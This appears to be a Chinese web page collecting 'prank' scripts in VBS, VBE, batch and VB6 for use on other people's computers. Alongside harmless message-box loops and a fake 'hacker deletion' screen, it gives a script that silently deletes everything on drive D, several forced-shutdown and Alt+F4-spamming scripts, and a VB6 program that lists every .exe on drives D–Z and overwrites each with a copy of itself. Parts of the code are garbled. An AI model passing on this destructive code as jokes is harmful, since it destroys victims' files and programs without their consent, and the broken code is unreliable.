本文目录一览：

• 1、有没有一些恶搞别人的vbs代码
• 2、谁有恶搞关机的vbe代码，拜托给发一个
• 3、求Bat整人代码。。很搞笑很吓人但是很安全！
• 4、求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

有没有一些恶搞别人的vbs代码

请点击展开进行观看

代码一：无限弹出信息框 双引号内可以自行修改

do

msgbox "爱邱哥爱生活"

loop

代码二：打开N个计算器，到电脑死机

et wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

代码三：电脑关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

代码四：格式化D盘

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

代码五：不断弹出N个窗口 双引号内可以自行修改

while(1)

msgbox "关不掉我了，爱邱哥爱生活"

loop

代码六：不断按alt+f4，开什么软件都自动关闭

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

代码七：按500次回车 双引号内可以自行修改

dim s

do until s=500

s=s+1

msgbox "500次回车是什么体验？爱邱哥爱生活",64

loop

代码八：关不掉的窗口（不停复制粘贴输入这个代码 可自行修改双引号内容 例子如下 可以复制N个）

WScript.Echo("嘿，我是邱哥"TSNam）

WScript.Echo("你是谁")

WScript.Echo("哈哈哈，邱哥牛逼")

代码九：不说我是猪，电脑就自动关机

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

代码十：超强整人

set ws=createobject("wscript.shell")

call shutdown(1)

do while a"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws.run"iexplore.exe

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i"只绵羊",4096+64

next

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64

msgbox"最后问个问题，我是不是大好人！",4096+64

if inputbox("是不是","请选择","是")"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub

谁有恶搞关机的vbe代码，拜托给发一个

on error resume next

DO

msgbox "嗨！！！！",64,"^_^"

msgbox "嗨！我是黑客",64,"ψ(╰_╯)"

msgbox "你是谁？为什么你家有这么多病毒？",64,"(∵)？"

msgbox "让我控制你的电脑吧~~~",64,"o(∩_∩)o "

msgbox "我来帮你杀毒~~~~",64,"^_^"

msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"

msgbox "还是；来捣乱吧",64,"^_^"

msgbox "首先接我的之一招~~",64,"V.S"

intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")

If intAnswer = vbYes Then

YONG=Msgbox ("很好那么请你让我知道，如果你不能让我知道你输，我将对所有硬盘进行格式化。嘿嘿！",vbYesNo,"^_^")

msgbox "抱歉 你不能出招...",64,"V.S"

If YONG = vbNo Then

msgbox "哈哈就让键盘灯一直闪吧",64,"^_^"

msgbox chr(13) + chr(13) + chr(13) + "作者：周峻全"

DIM i

While(1)

For i=1 To 10

next

set WshShell=createObject("Wscript.Shell")

WshShell.SendKeys"{CAPSLOCK}"

WSCRIPT.SLEEP 100

WshShell.SendKeys"{SCROllLOCK}"

WSCRIPT.SLEEP 100

WshShell.SendKeys"{NUMLOCK}"

WSCRIPT.SLEEP 100

Wend

Else

End If

Else

set TUYONG=wscript.createobject("wscript.shell")

TUYONG.run ("shutdown -r -t 99999 -c 小样你输啦~~~哈哈，关机了！！！！"),,true

End If

LOOP

创建文本文档把后缀改成 .vbe 就好了

这是最贱的

求Bat整人代码。。很搞笑很吓人但是很安全！

@echo

off

color

0b

mode

con:

cols=80

lines=20

@title=超级病毒

for

/L

%%a

in

(

3,-1,0

)

do

(

for

/l

%%a

in

(1,1,8)

do

echo\

echo

入侵倒计时

%%a

秒

ping

-n

2

127.1

1nul

2nul

cls

)

cls

color

40

for

/l

%%a

in

(1,1,8)

do

echo\

echo

正在遭受黑客入侵...

ping

127.1

/n

3

nul

echo.

echo

警告！警告！电脑已被入侵！！！

ping

127.1

/n

3

nul

cls

echo.

echo.

echo.

echo

正在删除G盘所有文件...

set

/p

a="============================================================================

=="nul

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=nul

)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^nul

ping/n

1

127.1

nul

)

echo

删除完毕

echo.

echo

正在删除E盘所有文件...

set

/p

a="============================================================================

=="nul

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=nul

)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^nul

ping/n

1

127.1

nul

)

echo

删除完毕

echo.

echo

正在删除D盘所有文件...

set

/p

a="============================================================================

=="nul

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=nul

)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^nul

ping/n

1

127.1

nul

)

echo

删除完毕

echo.

echo

正在删除C盘所有文件...

set

/p

a="============================================================================

=="nul

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=nul

)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^nul

ping/n

1

127.1

nul

)

echo

删除完毕

echo.

echo

正在删除分区表...

set

/p

a="============================================================================

=="nul

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=nul

)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^nul

ping/n

1

127.1

nul

)

echo.

echo

删除完毕

echo.

echo.

echo

正在遭受黑客的炸弹袭击！

echo.

echo

电脑崩溃！准备关闭系统！

ping

127.1

/n

3

nul

shutdown

-s

-t

nulp

/p

求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

电脑桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏；一段要人命的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path "\" App.EXEName ".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

/SPAN